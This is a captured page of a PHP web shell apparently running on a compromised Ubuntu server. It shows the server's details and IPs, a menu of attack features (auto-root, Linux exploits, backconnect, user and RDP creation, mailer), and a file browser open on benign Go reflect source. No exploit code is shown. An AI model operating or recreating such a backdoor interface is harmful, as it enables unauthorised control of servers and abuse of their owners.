Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.216.67
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
reflect /
[ HOME SHELL ]
Name
Size
Permission
Action
all_test.go
173.95
KB
-rw-r--r--
asm_386.s
1.04
KB
-rw-r--r--
asm_amd64.s
1.05
KB
-rw-r--r--
asm_arm.s
1.07
KB
-rw-r--r--
asm_arm64.s
1.07
KB
-rw-r--r--
asm_mips64x.s
1.12
KB
-rw-r--r--
asm_mipsx.s
1.12
KB
-rw-r--r--
asm_ppc64x.s
1.22
KB
-rw-r--r--
asm_riscv64.s
1.06
KB
-rw-r--r--
asm_s390x.s
1.07
KB
-rw-r--r--
asm_wasm.s
1.11
KB
-rw-r--r--
deepequal.go
6.61
KB
-rw-r--r--
example_test.go
3.73
KB
-rw-r--r--
export_test.go
2.54
KB
-rw-r--r--
makefunc.go
4.94
KB
-rw-r--r--
set_test.go
5.77
KB
-rw-r--r--
swapper.go
1.92
KB
-rw-r--r--
tostring_test.go
2.14
KB
-rw-r--r--
type.go
84.92
KB
-rw-r--r--
value.go
80.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tostring_test.go
// Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // Formatting of reflection types and values for debugging. // Not defined as methods so they do not need to be linked into most binaries; // the functions are not used by the library itself, only in tests. package reflect_test import ( . "reflect" "strconv" ) // valueToString returns a textual representation of the reflection value val. // For debugging only. func valueToString(val Value) string { var str string if !val.IsValid() { return "<zero Value>" } typ := val.Type() switch val.Kind() { case Int, Int8, Int16, Int32, Int64: return strconv.FormatInt(val.Int(), 10) case Uint, Uint8, Uint16, Uint32, Uint64, Uintptr: return strconv.FormatUint(val.Uint(), 10) case Float32, Float64: return strconv.FormatFloat(val.Float(), 'g', -1, 64) case Complex64, Complex128: c := val.Complex() return strconv.FormatFloat(real(c), 'g', -1, 64) + "+" + strconv.FormatFloat(imag(c), 'g', -1, 64) + "i" case String: return val.String() case Bool: if val.Bool() { return "true" } else { return "false" } case Ptr: v := val str = typ.String() + "(" if v.IsNil() { str += "0" } else { str += "&" + valueToString(v.Elem()) } str += ")" return str case Array, Slice: v := val str += typ.String() str += "{" for i := 0; i < v.Len(); i++ { if i > 0 { str += ", " } str += valueToString(v.Index(i)) } str += "}" return str case Map: t := typ str = t.String() str += "{" str += "<can't iterate on maps>" str += "}" return str case Chan: str = typ.String() return str case Struct: t := typ v := val str += t.String() str += "{" for i, n := 0, v.NumField(); i < n; i++ { if i > 0 { str += ", " } str += valueToString(v.Field(i)) } str += "}" return str case Interface: return typ.String() + "(" + valueToString(val.Elem()) + ")" case Func: v := val return typ.String() + "(" + strconv.FormatUint(uint64(v.Pointer()), 10) + ")" default: panic("valueToString: can't print type " + typ.String()) } }
Close